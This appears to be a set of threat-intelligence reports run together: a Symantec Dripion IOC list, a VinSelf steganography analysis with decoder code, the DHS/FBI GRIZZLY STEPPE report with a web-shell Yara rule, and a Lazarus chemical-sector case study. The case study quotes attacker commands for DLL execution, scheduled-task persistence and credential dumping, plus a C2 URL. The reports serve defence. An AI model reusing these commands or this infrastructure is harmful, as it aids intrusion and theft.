Not all of the ties are strong on their own, but together provide a strong case that there is a relationship between the groups targeting Taiwan using Dripion and Taidoor malware.
Based on the evidence we have presented Symantec attributed the activity involving the Dripion malware to the Budminer advanced threat group.
While we have not seen new campaigns using Taidoor malware since 2014, we believe the Budminer group has changed tactics to avoid detection after being outed publicly in security white papers and blogs over the past few years.
This investigation is just one example of Symantecs ongoing effort to identify unknown emerging threats.
By remaining one step ahead of adversaries, we can protect customers with intelligence driven security.
Mitigation advice Always keep your security software up to date to protect yourself against any new variants of this malware.
Keep your operating system and other software updated.
Software updates will frequently include patches for newly discovered security vulnerabilities which are frequently exploited by attackers.
Delete any suspicious-looking emails you receive, especially if they contain links or attachments.
Spear phishing emails are frequently used by cyberespionage attackers as a means of luring victims into opening malicious files.
6/8 Protection Symantec and Norton products protect against these threats with the following detections: Indicators of compromise File hashes 2dd931cf0950817d1bb567e12cf80ae7 3652075425b367d101a7d6b6ef558c6c 59ff5624a02e98f60187add71bba3756 865d24324f1cac5aecc09bae6a9157f5 eca0ef705d148ff105dbaf40ce9d1d5e f4260ecd0395076439d8c0725ee0125f 3652075425b367d101a7d6b6ef558c6c 285de6e5d3ed8ca966430846888a56ff 31f83a1e09062e8c4773a03d5993d870 4438921ea3d08d0c90f2f903556967e5 7ad3b2b6eee18af6816b6f4f7f7f71a6 b594d53a0d19eaac113988bf238654d3 c3e6ce287d12ac39ceb24e08dc63e3b5 e0c6b7d9bdae838139caa3acce5c890d e7205c0b80035b629d80b5e7aeff7b0e c182e33cf7e85316e9dc0e13999db45e 272ff690f6d27d2953fbadf75791274c ae80f056b8c38873ab1251c454ed1fe9 260f19ef39d56373bb5590346d2c1811 FE8D19E3435879E56F5189B37263AB06 68BEBCD9D2AD418332980A7DAB71BF79 CBDE79B6BA782840DB4ACA46A5A63467 Infrastructure hyydn[.
]nortonsoft.com mhysix[.
]mcfeesoft.com gspt[.
]dns1.us unpt[.
]defultname.com 198.144.100.73 208.61.229.10 200.215.222.105 61.222.137.66 103.240.182.99 Tags: Products, Endpoint Protection, Security Response, APT, Backdoor.
Dripion, Cyberespionage, Downloader.
Blugger, Taiwan, targeted attacks, Trojan.
Taidoor, United States 7/8 https://www.symantec.com/connect/search?filtersim_vid_31:691 https://www.symantec.com/connect/product/endpoint-protection-vdi https://www.symantec.com/connect/search?filtersim_vid_51:2261 https://www.symantec.com/connect/search?filtersim_vid_111:37391 https://www.symantec.com/connect/search?filtersim_vid_111:99461 https://www.symantec.com/connect/search?filtersim_vid_111:84571 https://www.symantec.com/connect/search?filtersim_vid_111:99491 https://www.symantec.com/connect/search?filtersim_vid_111:99471 https://www.symantec.com/connect/search?filtersim_vid_111:29071 https://www.symantec.com/connect/search?filtersim_vid_111:49681 https://www.symantec.com/connect/search?filtersim_vid_111:99391 Subscriptions (0) 8/8 Taiwan targeted with new cyberespionage back door Trojan Indicators of compromise
Vinself now with steganography VinSelf is a known RAT malware already explained on other blogs .
Its a family that has been long used in APT attacks.
VinSelf can be recognized in two ways: the network patterns used the strings obfuscation in the binary.
The VinSelf obfuscation algorithm is quite simple, but specific enough to state that samples using it are from the same family: def vinself_cipher(x, key): output lkey  ord(x[0]) for i in xrange(len(x)-1): output  chr( ( ( ord(x[i1])  ord(key[i]) ) - lkey)  0xff) lkey  ord(x[i1]) return output Recently, we came accross an interesting sample that, instead of connecting to a malicious CC, was grabbing a file (colors.bmp) from Google Docs.
Due to the presence of the aforementioned algorithm, the sample had been categorized as VinSelf, so such a behavior was unexpected and confusing.
Starting point While the image is a valid Bitmap and can actually be displayed, it may be something more than a simple Bitmap.
We have seen pieces of malware appending data at the end of legitimate/innofensive files being retrieved.
For example, VinSelf itself sends encrypted data to its CC prepended by a GIF89a header.
Foxy also receives encrypted commands from its CC in what seems a legitimate JPEG image, and Shady RAT is concealing commands in encrypted HTML commentaries, or inside images using real steganography.
Lets look at the code following the retrieval of this file from Google Docs if theres something interesting.
Steganography The function following the retrieval of the colors.bmp file is quite interesting.
https://www.fireeye.com/blog/threat-research/2010/11/winself-a-new-backdoor-in-town.html http://www.cyberesi.com/2011/08/31/trojan-foxy/ http://www.symantec.com/connect/blogs/truth-behind-shady-rat As you can see, it is scanning the image pixel per pixel.
The outermost loop is incrementing the row counter, the next one is incrementing the column counter while the innermost one is a loop among the three primary colors.
The function is grabbing the LSB (Least Significant Bit) of each color of each pixel, thus generating three bits of data per pixel of the image.
Once all those LSBs have been grabbed, each byte of the bitstream is reversed.
Unciphering Now that we have extracted the hidden data, it must be unciphered: this is done in four steps: the first step is the use of the VinSelf custom obfuscation algorithm with an hard-coded key in the binary the second step is another use of the VinSelf custom obfuscation algorithm with the key decoded at the previous step on the next 32 bytes of the data the third step is a decryption algorithm that was, at first, unknown to us.
Thanks to the specific bitwise manipulations employed by this code (shifts and rotations) and to the quick and efficient research of our cryptoteam, it was successfully identified as HC-128, a stream cipher that is not used that much finally, the fourth and last step is once again the use of the VinSelf custom obfuscation algorithm with the key used in the second step on the HC-128 decrypted data.
End point Ultimately we end up with a CC configuration that looks like: 192.168.1.101:2.2.2.2:3.3.3.3:4.4.4.4 As a matter of fact, we changed the real content in the source image to not disclose the real CC.
So instead of having just one layer of obfuscation (the custom VinSelf algorithm), we end up with several layers: the custom VinSelf algorithm encrypting the Google Docs URL an LSB-extraction steganography two instances of the VinSelf algorithm an HC-128 encryption a final VinSelf encryption.
http://www.ecrypt.eu.org/stream/p3ciphers/hc/hc128_p3.pdf As usual, a script to extract this information from a VinSelf BMP file has been released on our Bitbucket repository.
Steganography is not just for hipsters, it is still being used nowadays.
https://bitbucket.org/cybertools/malware_tools/
TLP:WHITE 1 of 13 TLP:WHITE JOINT ANALYSIS REPORT DISCLAIMER: This report is provided as is for informational purposes only.
The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within.
DHS does not endorse any commercial product or service referenced in this advisory or otherwise.
This document is distributed as TLP:WHITE: Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
For more information on the Traffic Light Protocol, see https://www.us-cert.gov/tlp.
Reference Number: JAR-16-20296  December 29, 2016 GRIZZLY STEPPE  Russian Malicious Cyber Activity Summary This Joint Analysis Report (JAR) is the result of analytic efforts between the Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI).
This document provides technical details regarding the tools and infrastructure used by the Russian civilian and military intelligence Services (RIS) to compromise and exploit networks and endpoints associated with the U.S. election, as well as a range of U.S. Government, political, and private sector entities.
The U.S. Government is referring to this malicious cyber activity by RIS as GRIZZLY STEPPE.
Previous JARs have not attributed malicious cyber activity to specific countries or threat actors.
However, public attribution of these activities to RIS is supported by technical indicators from the U.S. Intelligence Community, DHS, FBI, the private sector, and other entities.
This determination expands upon the Joint Statement released October 7, 2016, from the Department of Homeland Security and the Director of National Intelligence on Election Security.
This activity by RIS is part of an ongoing campaign of cyber-enabled operations directed at the U.S. government and its citizens.
These cyber operations have included spearphishing campaigns targeting government organizations, critical infrastructure entities, think tanks, universities, political organizations, and corporations leading to the theft of information.
In foreign countries, RIS actors conducted damaging and/or disruptive cyber-attacks, including attacks on critical infrastructure networks.
In some cases, RIS actors masqueraded as third parties, hiding behind false online personas designed to cause the victim to misattribute the source of the attack.
This JAR provides technical indicators related to many of these operations, recommended mitigations, suggested actions to take in response to the indicators provided, and information on how to report such incidents to the U.S. Government.
https://www.us-cert.gov/tlp https://www.dhs.gov/news/2016/10/07/joint-statement-department-homeland-security-and-office-director-national TLP:WHITE 2 of 13 TLP:WHITE Description The U.S. Government confirms that two different RIS actors participated in the intrusion into a U.S. political party.
The first actor group, known as Advanced Persistent Threat (APT) 29, entered into the partys systems in summer 2015, while the second, known as APT28, entered in spring 2016.
Figure 1: The tactics and techniques used by APT29 and APT 28 to conduct cyber intrusions against target systems Both groups have historically targeted government organizations, think tanks, universities, and corporations around the world.
APT29 has been observed crafting targeted spearphishing campaigns leveraging web links to a malicious dropper once executed, the code delivers Remote Access Tools (RATs) and evades detection using a range of techniques.
APT28 is known for leveraging domains that closely mimic those of targeted organizations and tricking potential victims into entering legitimate credentials.
APT28 actors relied heavily on shortened URLs in their spearphishing email campaigns.
Once APT28 and APT29 have access to victims, both groups exfiltrate and analyze information to gain intelligence value.
These groups use this information to craft highly targeted spearphishing campaigns.
These actors set up operational infrastructure to obfuscate their source infrastructure, host domains and malware for targeting organizations, establish command and control nodes, and harvest credentials and other valuable information from their targets.
In summer 2015, an APT29 spearphishing campaign directed emails containing a malicious link to over 1,000 recipients, including multiple U.S. Government victims.
APT29 used legitimate TLP:WHITE 3 of 13 TLP:WHITE domains, to include domains associated with U.S. organizations and educational institutions, to host malware and send spearphishing emails.
In the course of that campaign, APT29 successfully compromised a U.S. political party.
At least one targeted individual activated links to malware hosted on operational infrastructure of opened attachments containing malware.
APT29 delivered malware to the political partys systems, established persistence, escalated privileges, enumerated active directory accounts, and exfiltrated email from several accounts through encrypted connections back through operational infrastructure.
In spring 2016, APT28 compromised the same political party, again via targeted spearphishing.
This time, the spearphishing email tricked recipients into changing their passwords through a fake webmail domain hosted on APT28 operational infrastructure.
Using the harvested credentials, APT28 was able to gain access and steal content, likely leading to the exfiltration of information from multiple senior party members.
The U.S. Government assesses that information was leaked to the press and publicly disclosed.
Figure 2: APT28s Use of Spearphishing and Stolen Credentials Actors likely associated with RIS are continuing to engage in spearphishing campaigns, including one launched as recently as November 2016, just days after the U.S. election.
TLP:WHITE 4 of 13 TLP:WHITE Reported Russian Military and Civilian Intelligence Services (RIS) Alternate Names APT28 APT29 Agent.btz BlackEnergy V3 BlackEnergy2 APT CakeDuke Carberp CHOPSTICK CloudDuke CORESHELL CosmicDuke COZYBEAR COZYCAR COZYDUKE CrouchingYeti DIONIS Dragonfly Energetic Bear EVILTOSS Fancy Bear GeminiDuke GREY CLOUD HammerDuke HAMMERTOSS Havex MiniDionis MiniDuke OLDBAIT OnionDuke Operation Pawn Storm PinchDuke Powershell backdoor Quedagh Sandworm SEADADDY Seaduke SEDKIT SEDNIT Skipper Sofacy SOURFACE SYNful Knock Tiny Baron Tsar Team twain_64.dll (64-bit X-Agent implant) VmUpgradeHelper.exe (X-Tunnel implant) Waterbug X-Agent TLP:WHITE 5 of 13  TLP:WHITE Technical Details Indicators of Compromise (IOCs) IOCs associated with RIS cyber actors are provided within the accompanying .csv and .stix files of JAR-16-20296.
Yara Signature rule PAS_TOOL_PHP_WEB_KIT  meta: description  PAS TOOL PHP WEB KIT FOUND strings: php  ?
php base64decode  /\base\.\(\d\\d\)\._de\.code/ strreplace  (str_replace( md5  .substr(md5(strrev( gzinflate  gzinflate cookie  _COOKIE isset  isset condition: (filesize  20KB and filesize  22KB) and cookie  2 and isset  3 and all of them  Actions to Take Using Indicators DHS recommends that network administrators review the IP addresses, file hashes, and Yara signature provided and add the IPs to their watchlist to determine whether malicious activity has been observed within their organizations.
The review of network perimeter netflow or firewall logs will assist in determining whether your network has experienced suspicious activity.
When reviewing network perimeter logs for the IP addresses, organizations may find numerous instances of these IPs attempting to connect to their systems.
Upon reviewing the traffic from these IPs, some traffic may correspond to malicious activity, and some may correspond to legitimate activity.
Some traffic that may appear legitimate is actually malicious, such as vulnerability scanning or browsing of legitimate public facing services (e.g., HTTP, HTTPS, FTP).
Connections from these IPs may be performing vulnerability scans attempting to identify websites that are vulnerable to cross-site scripting (XSS) or Structured Query Language (SQL) injection attacks.
If scanning identified vulnerable sites, attempts to exploit the vulnerabilities may be experienced.
TLP:WHITE 6 of 13  TLP:WHITE Network administrators are encouraged to check their public-facing websites for the malicious file hashes.
System owners are also advised to run the Yara signature on any system that is suspected to have been targeted by RIS actors.
Threats from IOCs Malicious actors may use a variety of methods to interfere with information systems.
Some methods of attack are listed below.
Guidance provided is applicable to many other computer networks.
Injection Flaws are broad web application attack techniques that attempt to send commands to a browser, database, or other system, allowing a regular user to control behavior.
The most common example is SQL injection, which subverts the relationship between a webpage and its supporting database, typically to obtain information contained inside the database.
Another form is command injection, where an untrusted user is able to send commands to operating systems supporting a web application or database.
See the United States Computer Emergency Readiness Team (US-CERT) Publication on SQL Injection for more information.
Cross-site scripting (XSS) vulnerabilities allow threat actors to insert and execute unauthorized code in web applications.
Successful XSS attacks on websites can provide the attacker unauthorized access.
For prevention and mitigation strategies against XSS, see US-CERTs Alert on Compromised Web Servers and Web Shells.
Server vulnerabilities may be exploited to allow unauthorized access to sensitive information.
An attack against a poorly configured server may allow an adversary access to critical information including any websites or databases hosted on the server.
See US- CERTs Tip on Website Security for additional information.
Recommended Mitigations Commit to Cybersecurity Best Practices A commitment to good cybersecurity and best practices is critical to protecting networks and systems.
Here are some questions you may want to ask your organization to help prevent and mitigate against attacks.
1.
Backups: Do we backup all critical information?
Are the backups stored offline?
Have we tested our ability to revert to backups during an incident?
2.
Risk Analysis: Have we conducted a cybersecurity risk analysis of the organization?
3.
Staff Training: Have we trained staff on cybersecurity best practices?
4.
Vulnerability Scanning  Patching: Have we implemented regular scans of our network and systems and appropriate patching of known system vulnerabilities?
5.
Application Whitelisting: Do we allow only approved programs to run on our networks?
6.
Incident Response: Do we have an incident response plan and have we practiced it?
https://www.us-cert.gov/security-publications/sql-injection https://www.us-cert.gov/security-publications/sql-injection https://www.us-cert.gov/ncas/alerts/TA15-314A https://www.us-cert.gov/security-publications/website-security TLP:WHITE 7 of 13  TLP:WHITE 7.
Business Continuity: Are we able to sustain business operations without access to certain systems?
For how long?
Have we tested this?
8.
Penetration Testing: Have we attempted to hack into our own systems to test the security of our systems and our ability to defend against attacks?
Top Seven Mitigation Strategies DHS encourages network administrators to implement the recommendations below, which can prevent as many as 85 percent of targeted cyber-attacks.
These strategies are common sense to many, but DHS continues to see intrusions because organizations fail to use these basic measures.
1.
Patch applications and operating systems  Vulnerable applications and operating systems are the targets of most attacks.
Ensuring these are patched with the latest updates greatly reduces the number of exploitable entry points available to an attacker.
Use best practices when updating software and patches by only downloading updates from authenticated vendor sites.
2.
Application whitelisting  Whitelisting is one of the best security strategies because it allows only specified programs to run while blocking all others, including malicious software.
3.
Restrict administrative privileges  Threat actors are increasingly focused on gaining control of legitimate credentials, especially those associated with highly privileged accounts.
Reduce privileges to only those needed for a users duties.
Separate administrators into privilege tiers with limited access to other tiers.
4.
Network Segmentation and Segregation into Security Zones  Segment networks into logical enclaves and restrict host-to-host communications paths.
This helps protect sensitive information and critical services and limits damage from network perimeter breaches.
5.
Input validation  Input validation is a method of sanitizing untrusted user input provided by users of a web application, and may prevent many types of web application security flaws, such as SQLi, XSS, and command injection.
6.
File Reputation  Tune Anti-Virus file reputation systems to the most aggressive setting possible some products can limit execution to only the highest reputation files, stopping a wide range of untrustworthy code from gaining control.
7.
Understanding firewalls  When anyone or anything can access your network at any time, your network is more susceptible to being attacked.
Firewalls can be configured to block data from certain locations (IP whitelisting) or applications while allowing relevant and necessary data through.
TLP:WHITE 8 of 13 TLP:WHITE Responding to Unauthorized Access to Networks Implement your security incident response and business continuity plan.
It may take time for your organizations IT professionals to isolate and remove threats to your systems and restore normal operations.
Meanwhile, you should take steps to maintain your organizations essential functions according to your business continuity plan.
Organizations should maintain and regularly test backup plans, disaster recovery plans, and business continuity procedures.
Contact DHS or law enforcement immediately.
We encourage you to contact DHS NCCIC (NCCICCustomerServicehq.dhs.gov or 888-282-0870), the FBI through a local field office or the FBIs Cyber Division (CyWatchic.fbi.gov or 855-292-3937) to report an intrusion and to request incident response resources or technical assistance.
Detailed Mitigation Strategies Protect Against SQL Injection and Other Attacks on Web Services Routinely evaluate known and published vulnerabilities, perform software updates and technology refreshes periodically, and audit external-facing systems for known Web application vulnerabilities.
Take steps to harden both Web applications and the servers hosting them to reduce the risk of network intrusion via this vector.1 Use and configure available firewalls to block attacks.
Take steps to further secure Windows systems such as installing and configuring Microsofts Enhanced Mitigation Experience Toolkit (EMET) and Microsoft AppLocker.
Monitor and remove any unauthorized code present in any www directories.
Disable, discontinue, or disallow the use of Internet Control Message Protocol (ICMP) and Simple Network Management Protocol (SNMP) and response to these protocols as much as possible.
Remove non-required HTTP verbs from Web servers as typical Web servers and applications only require GET, POST, and HEAD.
Where possible, minimize server fingerprinting by configuring Web servers to avoid responding with banners identifying the server software and version number.
Secure both the operating system and the application.
Update and patch production servers regularly.
Disable potentially harmful SQL-stored procedure calls.
Sanitize and validate input to ensure that it is properly typed and does not contain escaped code.
Consider using type-safe stored procedures and prepared statements.
Perform regular audits of transaction logs for suspicious activity.
Perform penetration testing against Web services.
Ensure error messages are generic and do not expose too much information.
1 http://msdn.microsoft.com/en-us/library/ff648653.aspx.
Web site last accessed April 11, 2016.
mailto:socus-cert.gov mailto:CyWatchic.fbi.gov http://msdn.microsoft.com/en-us/library/ff648653.aspx TLP:WHITE 9 of 13 TLP:WHITE Phishing and Spearphishing Implement a Sender Policy Framework (SPF) record for your organizations Domain Name System (DNS) zone file to minimize risks relating to the receipt of spoofed messages.
Educate users to be suspicious of unsolicited phone calls, social media interactions, or email messages from individuals asking about employees or other internal information.
If an unknown individual claims to be from a legitimate organization, try to verify his or her identity directly with the company.
Do not provide personal information or information about your organization, including its structure or networks, unless you are certain of a persons authority to have the information.
Do not reveal personal or financial information in social media or email, and do not respond to solicitations for this information.
This includes following links sent in email.
Pay attention to the URL of a website.
Malicious websites may look identical to a legitimate site, but the URL often includes a variation in spelling or a different domain than the valid website (e.g., .com vs. .net).
If you are unsure whether an email request is legitimate, try to verify it by contacting the company directly.
Do not use contact information provided on a website connected to the request instead, check previous statements for contact information.
Information about known phishing attacks is also available online from groups such as the Anti-Phishing Working Group (http://www.antiphishing.org).
Take advantage of anti-phishing features offered by your email client and web browser.
Patch all systems for critical vulnerabilities, prioritizing timely patching of software that processes Internet data, such as web browsers, browser plugins, and document readers.
Permissions, Privileges, and Access Controls Reduce privileges to only those needed for a users duties.
Restrict users ability (permissions) to install and run unwanted software applications, and apply the principle of Least Privilege to all systems and services.
Restricting these privileges may prevent malware from running or limit its capability to spread through the network.
Carefully consider the risks before granting administrative rights to users on their own machines.
Scrub and verify all administrator accounts regularly.
Configure Group Policy to restrict all users to only one login session, where possible.
Enforce secure network authentication where possible.
Instruct administrators to use non-privileged accounts for standard functions such as Web browsing or checking Web mail.
http://www.antiphishing.org/ TLP:WHITE 10 of 13 TLP:WHITE Segment networks into logical enclaves and restrict host-to-host communication paths.
Containment provided by enclaving also makes incident cleanup significantly less costly.
Configure firewalls to disallow RDP traffic coming from outside of the network boundary, except for in specific configurations such as when tunneled through a secondary VPN with lower privileges.
Audit existing firewall rules and close all ports that are not explicitly needed for business.
Specifically, carefully consider which ports should be connecting outbound versus inbound.
Enforce a strict lockout policy for network users and closely monitor logs for failed login activity.
This can be indicative of failed intrusion activity.
If remote access between zones is an unavoidable business need, log and monitor these connections closely.
In environments with a high risk of interception or intrusion, organizations should consider supplementing password authentication with other forms of authentication such as challenge/response or multifactor authentication using biometric or physical tokens.
Credentials Enforce a tiered administrative model with dedicated administrator workstations and separate administrative accounts that are used exclusively for each tier to prevent tools, such as Mimikatz, for credential theft from harvesting domain-level credentials.
Implement multi-factor authentication (e.g., smart cards) or at minimum ensure users choose complex passwords that change regularly.
Be aware that some services (e.g., FTP, telnet, and .rlogin) transmit user credentials in clear text.
Minimize the use of these services where possible or consider more secure alternatives.
Properly secure password files by making hashed passwords more difficult to acquire.
Password hashes can be cracked within seconds using freely available tools.
Consider restricting access to sensitive password hashes by using a shadow password file or equivalent on UNIX systems.
Replace or modify services so that all user credentials are passed through an encrypted channel.
Avoid password policies that reduce the overall strength of credentials.
Policies to avoid include lack of password expiration date, lack of lockout policy, low or disabled password complexity requirements, and password history set to zero.
Ensure that users are not re-using passwords between zones by setting policies and conducting regular audits.
Use unique passwords for local accounts for each device.
TLP:WHITE 11 of 13 TLP:WHITE Logging Practices Ensure event logging (applications, events, login activities, security attributes, etc.)
is turned on or monitored for identification of security issues.
Configure network logs to provide enough information to assist in quickly developing an accurate determination of a security incident.
Upgrade PowerShell to new versions with enhanced logging features and monitor the logs to detect usage of PowerShell commands, which are often malware-related.
Secure logs, potentially in a centralized location, and protect them from modification.
Prepare an incident response plan that can be rapidly implemented in case of a cyber intrusion.
How to Enhance Your Organizations Cybersecurity Posture DHS offers a variety of resources for organizations to help recognize and address their cybersecurity risks.
Resources include discussion points, steps to start evaluating a cybersecurity program, and a list of hands-on resources available to organizations.
For a list of services, visit https://www.us-cert.gov/ccubedvp.
Other resources include: The Cyber Security Advisors (CSA) program bolsters cybersecurity preparedness, risk mitigation, and incident response capabilities of critical infrastructure entities and more closely aligns them with the Federal Government.
CSAs are DHS personnel assigned to districts throughout the country and territories, with at least one advisor in each of the 10 CSA regions, which mirror the Federal Emergency Management Agency regions.
For more information, email cyberadvisorhq.dhs.gov.
Cyber Resilience Review (CRR) is a no-cost, voluntary assessment to evaluate and enhance cybersecurity within critical infrastructure sectors, as well as state, local, tribal, and territorial governments.
The goal of the CRR is to develop an understanding and measurement of key cybersecurity capabilities to provide meaningful indicators of an entitys operational resilience and ability to manage cyber risk to critical services during normal operations and times of operational stress and crisis.
Visit https://www.cert.org/resilience/rmm.html to learn more about the CERT Resilience Management Model.
Enhanced Cybersecurity Services (ECS) helps critical infrastructure owners and operators protect their systems by sharing sensitive and classified cyber threat information with Commercial Service Providers (CSPs) and Operational Implementers (OIs).
CSPs then use the cyber threat information to protect CI customers.
OIs use the threat information to protect internal networks.
For more information, email ECS_Programhq.dhs.gov.
The Cybersecurity Information Sharing and Collaboration Program (CISCP) is a voluntary information-sharing and collaboration program between and among critical https://www.us-cert.gov/ccubedvp mailto:cyberadvisorhq.dhs.gov https://www.cert.org/resilience/rmm.html mailto:ECS_Programhq.dhs.gov TLP:WHITE 12 of 13 TLP:WHITE infrastructure partners and the Federal Government.
For more information, email CISCPus-cert.gov.
The Automated Indicator Sharing (AIS) initiative is a DHS effort to create a system where as soon as a company or federal agency observes an attempted compromise, the indicator will be shared in real time with all of our partners, protecting them from that particular threat.
That means adversaries can only use an attack once, which increases their costs and ultimately reduces the prevalence of cyber-attacks.
While AIS will not eliminate sophisticated cyber threats, it will allow companies and federal agencies to concentrate more on them by clearing away less sophisticated attacks.
AIS participants connect to a DHS-managed system in the NCCIC that allows bidirectional sharing of cyber threat indicators.
A server housed at each participants location allows each to exchange indicators with the NCCIC.
Participants will not only receive DHS-developed indicators, but can share indicators they have observed in their own network defense efforts, which DHS will then share with all AIS participants.
For more information, visit https://www.dhs.gov/ais.
The Cybersecurity Framework (Framework), developed by the National Institute of Standards and Technology (NIST) in collaboration with the public and private sectors, is a tool that can improve the cybersecurity readiness of entities.
The Framework enables entities, regardless of size, degree of cyber risk, or cyber sophistication, to apply principles and best practices of risk management to improve the security and resiliency of critical infrastructure.
The Framework provides standards, guidelines, and practices that are working effectively today.
It consists of three partsthe Framework Core, the Framework Profile, and Framework Implementation Tiersand emphasizes five functions: Identify, Protect, Detect, Respond, and Recover.
Use of the Framework is strictly voluntary.
For more information, visit https://www.nist.gov/cyberframework or email cyberframeworknist.gov.
mailto:CISCPus-cert.gov https://www.dhs.gov/ais https://www.nist.gov/cyberframework mailto:cyberframeworknist.gov TLP:WHITE 13 of 13 TLP:WHITE Contact Information Recipients of this report are encouraged to contribute any additional information that they may have related to this threat.
Include the JAR reference number (JAR-16-20296) in the subject line of all email correspondence.
For any questions related to this report, please contact NCCIC or the FBI.
NCCIC: Phone: 1-888-282-0870 Email: NCCICCustomerServicehq.dhs.gov FBI: Phone: 1-855-292-3937 Email: cywatchic.fbi.gov Feedback NCCIC continuously strives to improve its products and services.
You can help by answering a few short questions about this product at the following URL: https://www.us-cert.gov/forms/feedback.
mailto:NCCICCustomerServicehq.dhs.gov mailto:cywatchic.fbi.gov https://www.us-cert.gov/forms/feedback
1/8 Lazarus Targets Chemical Sector symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical Symantec, a division of Broadcom Software, has observed the North Korea-linked advanced persistent threat (APT) group known as Lazarus conducting an espionage campaign targeting organizations operating within the chemical sector.
The campaign appears to be a continuation of Lazarus activity dubbed Operation Dream Job, which was first observed in August 2020.
Symantec tracks this sub-set of Lazarus activity under the name Pompilus.
Operation Dream Job Operation Dream Job involves Lazarus using fake job offers as a means of luring victims into clicking on malicious links or opening malicious attachments that eventually lead to the installation of malware used for espionage.
Past Dream Job campaigns have targeted individuals in the defense, government, and engineering sectors in activity observed in August 2020 and July 2021.
Recently targeted sectors In January 2022, Symantec detected attack activity on the networks of a number of organizations based in South Korea.
The organizations were mainly in the chemical sector, with some being in the information technology (IT) sector.
However, it is likely the IT targets were used as a means to gain access to chemical sector organizations.
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical https://software.broadcom.com/ https://www.clearskysec.com/operation-dream-job/ https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution?utm_campaignSED_2020_SES_Daily20Threat20Landscape20Bulletinutm_mediumemail_hsmi139259470_hsencp2ANqtz--J6q9LdfcxqEx5uWvbCzht0JfOc4OV82fEOolrbvnpLzo148HySiMyVKrAnXVeP8GIKLQKzgYM65wxMYUmNVksrBTEwgutm_content139259470utm_sourcehs_email 2/8 There is sufficient evidence to suggest that this recent activity is a continuation of Operation Dream Job.
That evidence includes file hashes, file names, and tools that were observed in previous Dream Job campaigns.
A typical attack begins when a malicious HTM file is received, likely as a malicious link in an email or downloaded from the web.
The HTM file is copied to a DLL file called scskapplink.dll and injected into the legitimate system management software INISAFE Web EX Client.
The scskapplink.dll file is typically a signed Trojanized tool with malicious exports added.
The attackers have been observed using the following signatures: DOCTER USA, INC and A MEDICAL OFFICE, PLLC Next, scskapplink.dll downloads and executes an additional payload from a command-and- control (CC) server with the URL parameter key/values prd_fldracket.
This step kicks off a chain of shellcode loaders that download and execute arbitrary commands from the attackers, as well as additional malware, which are usually executed from malicious exports added to Trojanized tools such as the Tukaani project LZMA Utils library (XZ Utils).
The attackers move laterally on the network using Windows Management Instrumentation (WMI) and inject into MagicLine by DreamSecurity on other machines.
In some instances, the attackers were spotted dumping credentials from the registry, installing a BAT file in a likely effort to gain persistence, and using a scheduled task configured to run as a specific user.
The attackers were also observed deploying post-compromise tools, including a tool used to take screenshots of web pages viewed on the compromised machine at set intervals (SiteShoter).
They were also seen using an IP logging tool (IP Logger), a protocol used to turn computers on remotely (WakeOnLAN), a file and directory copier (FastCopy), and the File Transfer Protocol (FTP) executed under the MagicLine process.
Case study The following is a case study detailing step-by-step attacker activity on an organization in the chemical sector.
January 17, 2022 00:51  A malicious HTM file is received: e31af5131a095fbc884c56068e19b0c98636d95f93c257a0c829ec3f3cc8e4ba - csidl_profile\appdata\local\microsoft\windows\inetcache\ie\3tygrjkm\join_06[1].htm 3/8 The HTM file is copied to a DLL file: rundll32.exe CSIDL_PROFILE\public\scskapplink.dll,netsetcookie Cnusrmgr This DLL file is injected into the legitimate system management software INISAFE Web EX Client.
The file is a signed Trojanized version of the ComparePlus plugin for Notepad with malicious exports added.
01:02  The file is run and downloads and executes a backdoor payload (final.cpl - 5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db) from a command-and-control (CC) server with the URL parameter key/values prd_fldracket.
The file final.cpl is a Trojanized version of the Tukaani project LZMA Utils library (XZ Utils) with a malicious export added (AppMgmt).
The malware connects to, downloads, decodes, and executes shellcode from the following remote location: hxxp[:]//happy[.
]nanoace.co.kr/Content/rating/themes/krajee- fas/FrmAMEISMngWeb.asp 01:04  Another CPL file (61e305d6325b1ffb6de329f1eb5b3a6bcafa26c856861a8200d717df0dec48c4) is executed.
This file, again, is a Trojanized version of LZMA Utils with a malicious added export.
01:13  The shellcode loader (final.cpl) is executed again several times.
01:38  Commands are executed to dump credentials from the SAM and SYSTEM registry hives.
Over the next several hours, the attackers run unknown shellcode via final.cpl at various intervals, likely to collect the dumped system hives, among other things.
06:41  The attackers create a scheduled task to ensure persistence between system reboots: schtasks /create /RU [REDACTED].help\175287 /ST 15:42 /TR cmd.exe /c C:\ProgramData\Intel\Intel.bat /tn arm /sc MINUTE The scheduled task instructs the system to execute Intel.bat as user [REDACTED].help/175287 starting at 15:42 then every minute under the scheduled task name arm.
Its unclear if this was an account that was cracked via the dumped registry hives or an account the attackers were able to create with admin rights.
The attackers were also observed installing Cryptodome (PyCrypto fork) Python encryption modules via CPL files.
4/8 A clean installation of BitDefender was also installed by the attackers.
While unconfirmed, the threat actors may have installed an older version of this software (from 2020) with a vulnerability that allowed attackers to run arbitrary commands remotely.
January 18 00:21  The final.cpl file is executed again.
00:49  A new CPL file called wpm.cpl (942489ce7dce87f7888322a0e56b5e3c3b0130e11f57b3879fbefc48351a78f6) is executed.
CSIDL_COMMON_APPDATA\finaldata\wpm.cpl Thumbs.ini 4 30 This file contains, and connects to, a list of IP addresses and records whether the connections were successful.
01:11  Again, the final.cpl shellcode loader is executed multiple times, executing some unknown shellcode.
This activity continued intermittently until 23:49.
23:49  The file name of the CPL file changes to ntuser.dat.
The file location and command-line arguments remain the same.
January 19 00:24  The CPL shellcode loader files (final.cpl and ntuser.dat) are executed multiple times.
00:28  The attackers create a scheduled task on another machine, likely to ensure persistence: schtasks /create /RU [REDACTED]\i21076 /ST 09:28 /TR cmd.exe /c C:\ProgramData\Adobe\arm.bat /tn arm /sc MINUTE The command is used to schedule a task named arm to run the file arm.bat starting at at 09:28 then every minute after that under the user account [REDACTED]\i21076.
